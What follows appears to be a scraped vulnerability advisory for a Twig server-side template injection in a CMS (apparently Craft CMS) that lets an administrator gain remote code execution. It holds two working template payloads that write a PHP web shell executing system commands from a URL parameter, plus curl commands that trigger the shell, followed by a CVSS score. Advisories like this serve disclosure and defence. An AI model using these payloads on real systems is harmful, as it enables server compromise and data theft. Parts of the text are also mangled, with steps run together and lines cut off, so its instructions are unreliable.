An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
allowAdminChanges enabled, or access to the System Messages utility/admin/utilities/system-messages)hardDisk) with a valid handle configured in the target installation.{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
images) with a valid handle configured in the target installation.{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
/admin/settings/email)# For Filesystem
curl "http://target.com/uploads/shell.php?c=id"
# For Volume
curl...
4.17.0-beta.15.9.0-beta.1Exploitability
AV:NAC:LAT:NPR:HUI:NVulnerable System
VC:HVI:HVA:HSubsequent System
SC:HSI:HSA:H9.4/CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H